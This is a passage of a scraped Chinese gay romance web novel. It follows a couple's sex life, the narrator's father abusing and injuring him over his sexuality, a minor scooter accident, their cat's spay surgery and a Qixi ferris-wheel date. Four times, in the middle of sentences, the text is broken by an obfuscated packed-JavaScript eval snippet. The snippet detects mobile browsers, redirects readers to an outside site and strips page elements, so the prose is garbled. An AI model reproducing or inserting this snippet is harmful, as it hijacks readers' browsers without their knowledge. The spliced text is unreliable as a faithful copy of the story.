“你躺的这台是厉哥买的,我买的那台放书房了。”生日第二天,厉时修订购了一台同款按摩椅回来,将柯向阳买的那台搬进了书房,理由是他送的礼物只有他们俩能用,朋友上门就用外面那台。 “真想跟你们这群有钱人拼了。”在乔梦书眼中,柯向阳已经变成资本家的走狗了。 “我可不是,我还在用分期付款呢。”柯向阳急忙与资本家划清界限。 “不说这个了,这回可以问你感觉如何了吧?”乔梦书换上一副八卦脸。 柯向阳回想起一些不可描述的画面,捂着脸羞耻得说不出话。 “看来是给你爽到了。”乔梦书暧昧一笑,追问他具体感想。 “哎呀,我说不出口,你又不是没经历过。”柯向阳快要变成一颗西红柿了,“感觉是挺好的,就是太频繁了,我的腰有点吃不消。” 乔梦书跟徐佑分手后没有交往新对象,单身了好几个月,不由感慨:“真是旱的旱死涝的涝死。” 见柯向阳真的很苦恼,乔梦书拍拍他的肩安慰道:“刚开荤容易冲动是正常的,以后就好了。” 柯向阳:“要是一直这样呢?” 乔梦书:“我怀疑你在跟我炫耀。” “炫耀什么啊,我是担心老了以后会被护工打。”柯向阳托腮叹了一口气。 “什么被护工打?”从书房出来的厉时修正好听见柯向阳说的后半句话,疑惑地问。 “没、没什么。”柯向阳连连摇头。 见厉时修出来,乔梦书随便找了个借口离开,他可不想一个人吃狗粮。 厉时修将沙发上的柯向阳抱到自己腿上坐着,又问了一遍:“为什么会被护工打?” 这种事他要怎么说啊?柯向阳含糊其辞,凑上去亲吻厉时修,试图蒙混过关。 亲着亲着就觉出不对劲了,屁股怎么越来越硌得慌? 想要退缩的柯向阳被厉时修按住后脑勺,越亲越狠,最后干脆压在沙发上边亲边摸。 “唔……可以了,别亲了!”柯向阳好不容易得到一点喘息的空间,双手推拒着厉时修不让他继续。 厉时修:“怎么了?” 柯向阳红着耳尖说:“再亲下去又要……” 厉时修追问:“又要怎样?” 柯向阳哀求道:“真不行,那里疼。” 厉时修表情认真地说:“我看过了,没有肿,里面也没……” “那种东西不要看啊啊啊啊!”柯向阳被这么一刺激,爆发出一股力气,将厉时修掀翻到一侧。 “都看过那么多次了,害什么羞。”厉时修只觉柯向阳可爱得紧,“我轻一点,不会疼的。” 根本不是疼不疼的问题,而且一点也不疼,反而要爽死了,不对,这也不是重点!柯向阳受不了地说:“我怕这样毫不节制地做下去,以后年纪大了进养老院真的会被打!” 听完柯向阳的解释,厉时修总算明白他的担忧,既好笑又怜惜地亲了亲他的手:“不要担心,我找爷爷的朋友要了一张方子,专门保养那里的。” 柯向阳:“?” “我爷爷的朋友是很出名的老中医,每次给你涂的药膏也是他配的,效果很好吧?” 柯向阳:“???” “明天开始让阿姨给你炖药膳吃,保证把你由内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171858|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到外保养得容光焕发。” 柯向阳崩溃:“你到底让人家老中医干了什么啊!!!” 头一次见柯向阳炸毛炸得如此彻底,厉时修忍不住笑了起来:“他老人家不会在意这些的,别担心。” 柯向阳撅着屁股将头埋进沙发的抱枕里,真是丢死人了。 “好了,别闷坏了,快起来。”厉时修拔河似的抱着柯向阳的腰往后拉。 “你走开,让我一个人静静。”柯向阳把手伸到身后,像赶苍蝇般挥了挥。 来回拉扯间,厉时修不小心拽下他的裤子。 感觉屁股一阵凉飕飕,柯向阳立刻直起身,愤怒地看向始作俑者。 “我不是故意的。”厉时修摊开双手,一脸无辜。 柯向阳气呼呼地穿好裤子,又被厉时修抱进怀里狠亲几口:“我不会让你去养老院的。” “什么?”柯向阳一时没反应过来。 厉时修抱着他,声音轻柔又坚定地说:“你说老了以后进养老院,我不会让你去那里的,我一定会努力活得比你久,照顾你一辈子,不让任何人欺负你。” 柯向阳的鼻子瞬间就酸了:“那万一我活得更久呢?” 厉时修沉默了,认真思考起这种情况的应对方案。 柯向阳吸吸鼻子:“我随口说的,我才不要活得比你久,你一定要在我后头走哦!” 厉时修笑了笑:“嗯。” * 在药膳和药膏的双重加持下,柯向阳暂时不需要担心老了以后挨打的问题了,但次数太多身体还是会感到疲劳。 于是在他的据理力争下,厉时修终于妥协了。 经历了两个星期的磨合后,性生活的频率勉强达到双方都能接受的程度。 “要我说啊,你就得趁着年轻好好珍惜如今还精力旺盛的厉时修,等过了三十岁,男人都要开始走下坡路的。”乔梦书觉得柯向阳是典型的“生在福中不知福”。 “现在透支太多精力才会提前走下坡路吧。”柯向阳却觉得自己这属于“可持续发展”,非常有先见之明。 电梯门“叮”地一声打开,等在外面的房产中介立刻迎了上来。 柯向阳今天是陪乔梦书来看房的。 乔梦书早有买房的打算,家里住四口人虽然并不拥挤,但兄妹俩都成年了,哪怕他是个gay,住在一起仍多有不便,长期租房也不是个事,思来想去,他还是决定买一套房。 父母对他生婚生子的事没指望,原本帮他攒的结婚钱便直接给他了,加上他自己工作三年存的钱,买个小点的两居室,付完首付和装修的钱,还能有不少剩余。 把乔梦书那份给他之后,家里剩下的财产全归乔梦瑶,毕竟要靠她传宗接代,这是乔父乔母的原话,乔梦书对此毫无异议,反倒是乔梦瑶觉得这样对她哥不公平。 “这套户型不错,就是楼层有点低。”柯向阳站在阳台往下看,三楼的高度还没一旁的树高。 “没有高层的同户型吗?”乔梦书朝中介问道。 “这栋楼没有了,想要高楼层的话我带你们看看隔壁楼吧,还有别的小区,保证帮你们找到合适的房子。”中介小黄信心满满,之前柯向阳和乔梦书租房都是找的他,也算是老顾客了。 乔梦书点头:“那再多看几套吧。” 三人坐电梯下楼,柯向阳的手机突然响起,看到来电显示的瞬间,脸上浮现一抹无奈: “喂,爸,什么事?” 38. 受伤 柯向阳没想到再次见到他爸会是在医院。 柯建川因为冠心病发作住院,发作的原因是看到别人无意间拍下的柯向阳与厉时修手牵手的亲密照片。 这下他相信儿子是同性恋了,毕竟连对象都有了。 柯向阳站在病床前,冷漠看向那个不断冲他发火辱骂的男人。 “要不是看到那张照片,你想瞒我到什么时候?”柯建川怒吼。 柯向阳回道:“我早跟你说过了,是你自己不相信。” 柯建川一愣,随即额头青筋暴起:“你知不知道同性恋是违背人伦,是不正常的?你跟男人搞在一起是想让我们家断子绝孙吗?” “又没有皇位要继承,断就断了呗。”柯向阳小声嘀咕。 柯建川没听清,但直觉不是在说好话,眉毛一竖,恶狠狠地问:“你说什么?” “没什么。” “畜生都知道要繁衍后代,你倒好,喜欢男人,喜欢走后门,你到底要不要脸了?你比畜生都不如!” 柯建川住的是单人病房,但走廊时不时就有人经过,王清妍尴尬地扯了扯他的袖子:“你少说两句,这是在医院。” “我为什么要少说两句?他自己不要脸,我还要顾及他的脸面吗?”柯建川气得直喘气,指着柯向阳:“我告诉你,男人喜欢男人就是有病,是心理变态,得治!” 柯向阳皱起眉头:“这不是病,你现在这样才叫生病,我看你不仅有冠心病,还有狂躁症。” 柯建川差点一口气没喘上来,捂住胸口面色痛苦,王清妍帮他揉着心口,看向柯向阳的眼神中带上了一丝责备:“向阳,你也少说两句吧。” 柯建川缓过气来,随手抓起床头的水杯朝柯向阳砸了过去:“你个孽障!” 柯向阳下意识侧身躲避,额角还是被擦出一道红痕,泛起一阵火辣辣的疼痛。 “老柯,你干什么啊!向阳,没事吧?让阿姨看看。”王清妍吓了一大跳,忙上前想查看柯向阳的额头。 柯向阳抬手挡了下:“我没事。” “你别管他,砸死了倒干净!”柯建川嗓子都嚎哑了,狠咳了几声。 “看来我在这不利于您老人家养病,我先走了。”柯向阳依旧面色平静。 看着柯向阳的背影,柯建川下达最后通牒:“柯向阳,你非得喜欢男人的话,我们的父子之情就到此为止了,你要能改,我可以当什么都没发生过。” 柯向阳:“爸,让你改变性取向去喜欢男人,你能改得了吗?” “你这个畜生,别叫我爸!我没你这样的儿子,滚!马上滚!以后别再来见我,我嫌脏!”柯建川一边怒骂一边到处找趁手的工具想再给柯向阳来几下,被王清妍死死拦住。 “向阳,你赶紧走吧,别再气你爸了。”王清妍真是无奈了。 柯向阳最后看了柯建川一眼,然后头也不回地走出病房。 一直到走出医院大门,鼻间萦绕的那股消毒水味才淡了些。 柯向阳给乔梦书打了个电话,刚刚突然被叫到医院,不知道他房子看得怎么样了。 “看了几套都不满意,约了下次再看,你爸没事吧?”乔梦书关切地问。 柯向阳:“没事,就是被我气的,我不出现在他面前应该会好得快一点。” 乔梦书不解:“你气他干嘛?” “是他不知道从哪看到我和厉哥的照片,之前跟他说我是同性恋他死活不信,结果看到照片刺激太大直接进了医院。”柯向阳表示自己很无辜。 乔梦书:“……” 柯向阳:“所以现在他跟我断绝父子关系了。” 乔梦书是过来人,知道这种事无法避免,只能安慰:“没事,早点知道总比晚点知道好,现在叔叔的身体还算硬朗,能吃得消这种刺激,要是过几年年纪大了再知道这种事,感觉更危险。” “你说的有道理。” 挂断电话,柯向阳骑上被晒得发烫的电动车,准备回家。 虽然柯向阳对柯建川的反应早有准备,也并不在意那些难听的话,可心情难免会受到影响,以致于在听见身后摩托车的鸣笛时,想也没想地跳车躲避。 不是什么大事故,双方都有责任,柯向阳躲避时手臂被刮蹭出几道口子。 摩托车司机是个中年大叔,态度诚恳地向他道歉,提出送他去医院检查一下,刚从医院出来的柯向阳并不想回去,再三保证只是皮外伤,没有别的问题。 大叔见他十分坚决,便拉着他去路边的药店买了酒精和纱布,让店员帮忙包扎一下。 大叔是个厚道人,年纪看着和柯建川差不多,脸上始终带着担忧和自责,从药店出来,仍不放心地朝柯向阳说:“小伙子,咱们加个联系方式吧,到时候要是有问题我带你去医院。” “我真没事,要不是我突然跳下来根本不会碰到,和你没关系。”柯向阳觉得自己的问题更大,骑车不专心,幸好没出什么大事。 不过他的电动车摔在地上,车头摔松了,大叔热心地帮他把电动车送去修理,非要出那一百多块的修理费。 * 厉时修在家等到天黑都没看见柯向阳回来,正准备打个电话问问,玄关传来一道开门声。 注意到柯向阳包着纱布地手臂,厉时修眉头紧皱:“怎么回事?” 柯向阳老老实实道:“跟一辆摩托车刮蹭到了,不过不严重,就是破了点皮。” “谁的责任?” “都有吧,在人行道上,我没注意人家的鸣笛声,跳车的时候蹭的,他带我去买了药水包扎,还给我修了车,人挺好的。”柯向阳尽量把事故说得轻松点。 “为什么会没注意到?你骑车的时候在想什么?”厉时修质问。 柯向阳缩缩脖子,小声回答:“走了会神。” “骑车走神,你不要命了吗?”厉时修很久没有这么生气过了。 柯向阳自知理亏,举起手发誓:“我错了,以后绝对不会了!” “所以你出了事故还自己把车骑回来了,为什么不给我打电话让我去接你?”厉时修双手抱胸,脸色难看。 柯向阳试图撒娇:“我看不严重,车子也修好了,我这不是好好回来了吗?别生气了。” 厉时修气道:“说了多少次,骑车本来就不安全,让你开车非要骑车,这次是不严重,非要等严重了才长记性吗?以后不许你再骑车了。” 柯向阳也来火了:“凭什么呀?要这么说,开车出事的人也不少啊,骑车出行本来就是一件很正常的事,日常生活中磕磕碰碰都是常有的事,你怎么总是小题大做?” 厉时修冷眼看着柯向阳极力争辩的样子,起身回了卧室。 “砰”的一声巨响传来,柯向阳一屁股坐在沙发上,心头烦闷,今天真是糟透了。 独自待在客厅坐了几个小时,直至肚子开始打鼓,柯向阳到厨房找了点吃的,吃饱后冷静下来,又去洗了澡,轻手轻脚地回了房。 厉时修背对房门侧躺在床上,不知是不是睡着了。 柯向阳爬上床,伸手环住厉时修的腰,下一秒,手腕被轻轻握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171859|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,厉时修的指尖温柔抚过他手臂上的纱布:“疼吗?” “不疼了,这种皮外伤几天就好了。”柯向阳亲了亲厉时修的脖颈,“不要生气了,下次我会小心点的。” 厉时修低低地叹了口气,转身把人搂进怀里:“如果你当时开了车,别人撞上来的时候,刮蹭到的就是车身,而不是你的身体,有些伤害明明是可以避免的。” 柯向阳明白厉时修的意思,人生中有很多不可避免的意外,所以对于可以避免的意外才要更加上心:“让你担心了,对不起。” 厉时修吻了吻柯向阳的额头,感觉到他突然的瑟缩,撩起他的头发一看,额角还有一块红肿:“头也撞到了?” 柯向阳情绪低落:“不是撞的,是被我爸砸的。” 厉时修心头一颤:“为什么砸你?” “我爸知道我们的事了,气得半死,都住院了,我今天去看他,收获了一顿臭骂和这个。”柯向阳指指自己的额头。 厉时修一下明白过来柯向阳骑车走神的原因,心疼得要命,起身找来医疗箱给他上药:“怎么不叫我一起去?” 柯向阳:“你真想把我爸气死啊?” 厉时修知道柯建川的脾气,也知道对方肯定说了很多难听的话:“我去的话,可以让他骂我、打我来解气。” 柯向阳:“我可舍不得。” 厉时修轻笑一声,语气里带上几分歉意:“对不起,和我在一起让你受委屈了,刚刚不该凶你的。” 柯向阳从他怀里挣脱出来,表情严肃:“你这说的什么话?我不爱听。不跟你在一起,我爸一样会骂我,那是他的问题,我想和谁在一起他管不着。” 又炸毛了,可爱。厉时修压了压嘴角:“等叔叔身体好点,我再跟你一起登门拜访吧。” “不用了,他已经跟我断绝父子关系了。”柯向阳摆摆手,他不想让厉时修去看他爸的脸色。 厉时修:“……” 两人抱在一起,和好如初,柯向阳摸着厉时修的胸肌,心中躁动。 今天是周末,按理说两人该干活了。 可厉时修光是亲他摸他,迟迟不肯进入正题。 “厉哥。”柯向阳喘息着抱住厉时修的脖子,眼中水光闪动。 厉时修故作不解:“怎么了?” 柯向阳蹭了蹭他的大腿:“今天……不做吗?” 没想到厉时修点点头:“嗯,今天不做,你受伤了,伤好之前都不做。” “什么?!”柯向阳顿时清醒,“我伤的是手,不影响的。” 厉时修不赞成地说:“怎么不影响?很多姿势要用到手的,等会伤口恶化了怎么办?” “那我不动手。”柯向阳保证道。 厉时修:“不行,我怕自己一时激动碰到你的伤口。” 柯向阳:“不会的,小心点就好了。” 厉时修:“别闹,反正皮外伤好得快,等好了再做吧。” “不要,你起来。”柯向阳撒娇卖萌,厉时修无动于衷。 柯向阳眼睁睁看着厉时修躺好闭眼,说了一句:“好了,睡觉吧。” 他都等了一个星期了,手上的伤口也不是一时半会好得了的,照他们定好的频率算,这个周末不做的话,得等到下周末了,那他岂不是整整两周没有性生活? “你给我起来,不许睡!”柯向阳摇晃着厉时修,始终得不到回应。 柯向阳万万没想到原本抗拒的事情会被厉时修当做拿捏他的手段,此刻他终于觉得后悔,早知道不骑车了! 39. 绝育 柯向阳愤愤地躺在床上,他和厉时修说好每周末吃放纵餐,工作日不忙的时候可以浅做一下,最多一天。 这周正好很忙,周五晚上都是加班到好晚才回来的,柯向阳本来很期待今天晚上的,没想到厉时修给他整这一出,搞得他一晚上没睡好,起床时还带着一股怨气。 “准备好了,出发吧。”厉时修拎着航空箱,里面是要去做绝育的小乖。 距离捡到小乖已经过去三个多月,医生的建议是生产后一两个月就可以做绝育,但柯向阳担心小乖没恢复好,硬是拖了三个月,再拖下去几只小猫都要长大了,于是帮小乖预约了这周天的绝育手术。 去医院的路上柯向阳十分紧张,好像要做绝育的不是猫而是他一样。 “别担心,虽然母猫绝育会麻烦一点,但只是个小手术,不会有事的。”医生笑着安慰,看到小乖跟刚捡到时判若两猫的模样,就知道这对领养人对它很上心了,“你们出去逛逛吧,手术结束再来接它。” 柯向阳担心地问:“手术要很久吗?” 医生:“一个小时左右,根据小猫的身体情况而定。” 厉时修觉得柯向阳待在医院也是瞎紧张,直接强硬地把人拖走了。 心神不宁地柯向阳任由厉时修牵着自己的手,想跟厉时修说只在附近的步行街随便逛逛好了,结果没走两步就热出一身汗。 柯向阳甩甩手:“好热啊,别牵了。” 厉时修握得更紧了:“不热。” “……”柯向阳受不了了,随手指了一家冷饮店:“我们进去坐会吧,外面太热了。” “好。” 两个外形优越的男生走在一起本就十分引人注目,更何况手牵着手,一进店,所有人的目光齐刷刷地射了过来,甚至还有人偷偷举起手机想要拍照。 柯向阳心想,难怪会被他爸看到照片。 厉时修丝毫不在意那些目光,带他找了个座位,扫码看菜单:“想喝什么?” “西瓜沙冰吧。”店内的空调太过舒适,与那些目光相比,外面的高温天气更可怕。 厉时修点了两杯西瓜沙冰。 喝着冰饮,身上的燥热降下许多,心情也跟着平静下来,柯向阳掏出手机回复了群里的消息,知道小乖今天要做绝育,大家都很关心。 “等会想干嘛?”厉时修问他。 柯向阳望向外头,高温下的空气似乎在隐隐扭曲:“逛商场吧。” * “哇,好凉快!”夏天除了家里,就是商场最舒服了。 两人手牵着手,慢悠悠地走着,路过一家熟悉的男装店,柯向阳想起几个月前,厉时修回国第二天就拉着他逛商场,不由轻笑出声,那时候两人的关系还只是许久未见的好友。 厉时修转头看他,问:“笑什么?” “想到你刚回国的时候了。”柯向阳回忆起当时的情形,嘴角的笑意不由扩大几分,“厉哥,你是不是因为听到乔乔要我去相亲,才故意说想跟我逛商场的?” “对,我吃醋了。”没想法厉时修十分坦然,干脆地点头承认。 柯向阳反倒不好意思起来。 随后,厉时修像是想到什么,眼睛微眯:“所以当初乔梦书要给你介绍的相亲对象是男的?不会是那个齐朔吧?” 柯向阳:“……” 厉时修知道自己猜对了,柯向阳忙装作一副很忙的样子,到处张望,突然看到一张熟悉的面孔:“齐朔?” 厉时修眉毛一挑,正欲发作,就见柯向阳拉了拉自己,指向前方:“那不是齐朔和乔乔吗?” “他们俩怎么会在一块?”厉时修也有些好奇。 厉时修不知道齐朔和乔梦书的事,柯向阳却很清楚,见两人举止亲密,感觉嗅到一股大瓜的气息,立刻掏出手机给乔梦书打电话。 “喂,干嘛?”乔梦书接得很快,身侧的齐朔还伸手搂住了他的腰。 “你在哪呢?和谁在一起啊?”柯向阳故意问道。 “和朋友在外面,怎么了?有事说事啊。”乔梦书挥挥手,示意齐朔别搂着他。 柯向阳呵呵一笑:“什么朋友啊?贴那么近,男朋友吗?” “……”乔梦书转着头到处找人,直至与柯向阳对上视线,脸上那抹心虚一闪而过,“你们怎么在这?不是带小乖去做手术了吗?” “做手术要时间的啊,医生让我们出来逛逛,做完了再喊我们回去。”柯向阳解释完,目光在乔梦书与齐朔身上来回扫描,“倒是你俩,在约会吗?” 不等乔梦书否认,齐朔一把举起两人牵着的手,笑容爽朗地回答:“对,我和乔哥约会呢。” “你胡说什么?我只是答应请你吃顿饭而已。”乔梦书难得觉得脸热,用力抽回自己的手。 柯向阳不知道他们现在是什么情况,一把拉过乔梦书走在前面,准备好好拷问一番。 厉时修与齐朔落后几个身位跟在他们后面,沉默不语。 前几天乔梦书的电动车出故障了,正好路过他公司楼下的齐朔帮着把车送去修理,所以他才要请齐朔吃饭当做谢礼。 “刚刚看你们那么亲密,还以为已经谈上了,你该不会动心了吧?”柯向阳感觉乔梦书没有自己说的那么不喜欢齐朔,从他愿意让齐朔近身这一点就能看出了,不喜欢的人他恨不得踹开八百里远。 乔梦书意外地没有否认,只是有些苦恼:“可惜他是徐佑的好兄弟,我不想惹麻烦。” 柯向阳无情拆穿:“你已经惹上了。” “嗨呀不说这个了,七夕快到了,你有什么计划吗?”乔梦书看见商场里关于七夕的主题布置,生硬地转移话题。 柯向阳点点头:“我想带厉哥去坐摩天轮。” 乔梦书一愣:“还以为你会说不知道呢。” 柯向阳:“我想好久了,以前不好意思约他去,现在还不去这恋爱岂不是白谈了?” 看来柯向阳被爱情滋润得相当好,乔梦书欣慰一笑:“坐摩天轮不错,等转到最高点了,记得接吻哦。” 柯向阳:“你呢?齐朔肯定要约你吧?要跟他出去吗?” 话题一下被转回来,乔梦书无语:“不知道,到时候再说吧。” 柯向阳撇撇嘴,他有预感,乔梦书很快就要脱单了。 乔梦书指着柯向阳受伤的左手臂:“我刚刚就想问了,你手怎么了?” “昨天骑车跟别人撞到了,小伤。”柯向阳不在意道。 “话说,咱是不是该买辆车了?”话音刚落,乔梦书想到身后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171860|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉时修,“你倒是不需要买,家里那么多现成的豪车可以开。” 柯向阳:“那又不是我的。” 乔梦书:“厉时修的东西还不是你的?他连人都是你的。” 柯向阳嘴角差点没压住,忙道:“你不是要买房吗?还有钱买车啊?” 乔梦书:“现在的车又不贵,先买一辆二手的开着,到时候再换呗。” 柯向阳:“也是,那你看车的时候叫上我吧,先陪你去看看。” 乔梦书伸手戳戳柯向阳的脑门:“敢情买房买车都得我给你打个样是吧?” 柯向阳:“嘿嘿。” 几人漫无目的地在商场里逛了一圈,直到医生发来手术结束的消息,柯向阳匆匆与乔梦书告别,带着厉时修回医院接小乖。 做完手术的小乖腹部包着蓝色的防护腹带,躺在航空箱里一动不动。 “麻药效果还没过,回去以后4个小时内别给猫咪喂水吃东西,排便可能会有延迟,超过48小时还未排便就送过来做检查。”医生说了些注意事项。 柯向阳不住点头。 医生:“母猫的手术和公猫不一样,是在腹腔里,比较复杂,恢复会慢一点,少说也得一星期以上,注意观察它的精神状态,如果出现精神萎靡、拒食、呕吐或体温异常等情况,随时联系我。” “嗯嗯好的,谢谢医生。”柯向阳伸手摸了摸箱子里的小乖,眼里满是担心。 * 到家后,小乖被放在单独的猫窝,因为怕几只小猫打闹会误伤它,所以要把它们隔离开。 柯向阳时时关注小乖的状态,一直到晚上才敢给它喂些吃的。 好在医生说的那些问题都没有出现,就是肚子上绑了东西,导致小乖动作僵硬,想要舔肚子舔不到,只能退而求其次地舔舔爪子。 “小乖没事,别一直盯着了,你的伤口也得换药了。”厉时修端着药盘过来,把柯向阳按在沙发上,拆开他手臂上的纱布。 “厉哥,我这是刮伤,伤口不深,但是面积比较大,你千万不要担心。”柯向阳提前给他打个预防针。 虽然早有心理准备,可看到那触目惊心的伤口依旧让厉时修眉头紧锁,他用碘伏棉球小心翼翼地给伤口消毒,每次触碰到伤口,柯向阳都会瑟缩一下。 “现在知道疼了?看你以后还敢不敢骑车走神。”厉时修嘴上这么说,手上的动作却尽可能地放轻。 重新包扎好伤口,柯向阳谄媚地夸奖厉时修的包扎手艺:“厉哥,包得太好了,而且一点都不痛,你看。” 见柯向阳不停做着高抬手的动作,厉时修“嗯”了一声,问他:“昨天怎么洗澡的?没沾到水吧?” “没有,我抬着手洗的。”没有伤到骨头,并不影响手臂的行动,只是行动间会有一点拉扯感。 厉时修笑了笑:“今晚我帮你洗。” 柯向阳心中一动,脸上不由飞起两抹红晕。 结果晚上洗澡时,真的只是洗澡。 厉时修把他里里外外十分细致地搓洗了一遍,将柯向阳撩拨得欲、火焚身,然后给他擦干身体,套上宽大的居家服,推出了浴室:“好了,出去吧,我要洗了。” 柯向阳满头问号,站在浴室门口哀嚎:“不是吧?还来啊!” 40. 七夕 厉时修下定决心要做的事,柯向阳根本无法撼动分毫,只能老老实实熬过接下来的养伤时光。 好在伤口第三天就开始结痂,已经不需要上药了。 柯向阳没想到会有用“欲求不满”这四个字来形容自己的一天,看向厉时修的眼睛几乎要放出绿光了。 不过现在这些都不是重点,重点是马上要到七夕了。 今年的七夕正好在周五,按照柯向阳的计划,晚上去坐摩天轮估计要排很久的队,所以他想着一下班就过去排队,但这与厉时修预定的晚餐时间有冲突。 “能取消吗?”柯向阳问,后悔没有提前跟厉时修确认一下行程。 “可以取消。”厉时修掏出手机准备联系江秘书取消预约。 柯向阳突然想到一个很重要的问题:“等等,取消退定金吗?” 厉时修迟疑道:“这类餐厅应该都不退定金吧。” “那先别取消。”柯向阳制止了厉时修打电话的动作,“我在群里问问他们谁想接手,要是没人去,我再挂二手网站看看能不能卖掉。” “……好。” 群里除了他俩,只有程嘉弘和乔梦瑶这一对情侣,两人早有安排,虽然心动,还是遗憾地表示去不了。 柯向阳刚打开二手交易的软件,乔梦书的消息就来了:【定金多少?我转你。】 柯向阳:【你要去啊?】 乔梦书:【嗯。】 柯向阳单纯不想浪费钱,自己人去根本没打算要定金,只问了句:【你跟谁去啊?】 乔梦书:【还能有谁(小猫托腮)】 柯向阳:【我掐指一算,你今晚大概要菊花不保。】 乔梦书:【(土拨鼠咆哮)】 * 鹤水市有一个专门以摩天轮为主题的游乐园,里面的摩天轮名为“鹤水之星”,规模在整个世界都排得上名,平日里慕名而来的游客就很多,更别提七夕这种重要节日了。 柯向阳和厉时修赶到时,队伍已经从二楼的入口处一直排到一楼大门外的空地上了。按照这个速度,想要坐上摩天轮最快也得两个小时。 阴沉了一天的天气终于在此刻下起雨来,为密集的人群带来一丝凉意。 柯向阳望着拐了好几个弯的队伍,说:“要不还是走吧?” 厉时修:“不想坐了?” “人太多了,这得排到什么时候?”柯向阳泄气道,突然觉得自己的安排真是有够糟糕,摩天轮什么时候不能坐,非要找这种日子来排队,花钱买罪受。 厉时修倒是不介意:“排队而已,换时间来一样要排队的。” 柯向阳想想也是,来都来了,不如保持一个好心情。 长长的队伍里站着的大部分是小情侣,有靠在一处说说笑笑心态平和的,有因为天气烦躁一方生气一方哄的,还有很多在拍照的,无一例外都在往外散发着粉色泡泡。 厉时修有样学样,举起手机对准柯向阳:“笑一个。” “别拍了,又不好看。”柯向阳害羞地说。 厉时修面不改色:“好看。” 这个角度看过去,背后就是巨大的摩天轮,柯向阳红着脸,不自然地看向镜头,拘束地比了个剪刀手。 “我也给你拍。”柯向阳想让厉时修跟自己换个位置。 “一起拍。”厉时修凑到柯向阳身侧,两人一同看向手机镜头。 拍了好几张,柯向阳依次翻看,厉时修的表情没有一点变化,像复制粘贴一样,自己则表情僵硬,细看还能发现他要笑不笑的嘴角在隐隐抽搐,太滑稽了,一个没忍住笑出了声:“好丑啊。” 厉时修明显也不太满意,看了眼周围,许多人正偷偷打量着他们,他找了最近的一个女生问:“你好,请问可以帮我们拍一张照片吗?” 女生没想到会被搭话,有些不好意思:“可、可以啊。” 在女生的指导下,两人倚着边上的围栏,拍了几张正常的照片。 归还手机时,女生没忍住问出口:“你们是一对吗?” “是的,谢谢你。”厉时修礼貌回道。 “不客气。”女生笑眯了眼,露出一颗可爱的小虎牙,身后就是跟她一起来鹤水市玩的朋友。 几个小姑娘活泼开朗,柯向阳和她们聊得开怀,推荐了不少好吃好玩的地方。 这么一来,排队的时间都变快了许多,到达入口处时,柯向阳还有些意犹未尽。 “鹤水之星”一个座舱可以容纳六到八个人,运行中的摩天轮是不会停下的,座舱转到面前时,由工作人员打开舱门,里面的乘客依次下来,外面等候的乘客则需跟随座舱的移动快速登入。 厉时修先一步迈进舱门,朝身后的柯向阳伸出手:“来,慢点。” 柯向阳往前走了两步,一脚踏上舱内的地垫,被厉时修稳稳拉进怀里。 明明不算很刺激的行为,心跳却在疯狂加速。 舱门关闭,整个世界缩成一方小小的空间,摩天轮缓缓旋转,他们所乘坐的舱体离地面越来越远。 柯向阳趴在玻璃上,新奇地欣赏外面的风景,感叹:“好漂亮啊,排那么久的队也值了。” 厉时修望向柯向阳的侧脸,将他的小表情全部收入眼底,心中一动,伸手搂住柯向阳的腰,下巴轻轻搁在他肩上,呼吸拂过颈侧,声音低哑:“小柯。” “嗯?”柯向阳正想问他怎么了,一转头,唇上传来一阵熟悉的触感。 厉时修吻得很轻,唇瓣相贴、厮磨,若即若离,他在亲吻自己最重要的珍宝。 柯向阳呼吸急促,强忍着推开厉时修:“等等,等到了最高点再亲。” “不可以一直亲到最高点吗?”厉时修眼中带笑,不容拒绝地把人抱在怀里继续亲。 也、也行吧。柯向阳迷糊地想着,抬手搂住厉时修的脖子。 雨水模糊了窗户,城市的灯火化作流动的光斑。狭小的空间中,温度不断上升,雨声沙沙,混杂着某种更为亲昵的声响,如同伴奏一般。 柯向阳心想,等到了最高点,可得记得许愿。 * 在柯向阳的记忆里,从来没有同父母一起去游乐园度过的亲子时光。 小时候,别的小朋友在父母的陪伴下度过一个又一个愉快的周末,他只能在心中默默期待父母何时能回家见他一面。 后来他长大了,明白有些事不是期待就会有回应,游乐园也从他的向往之处变成不愿提及的地方。 他没有等来父母的同行,但等到了厉时修的出现。 高考后,厉时修问他有什么想去的地方,柯向阳下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 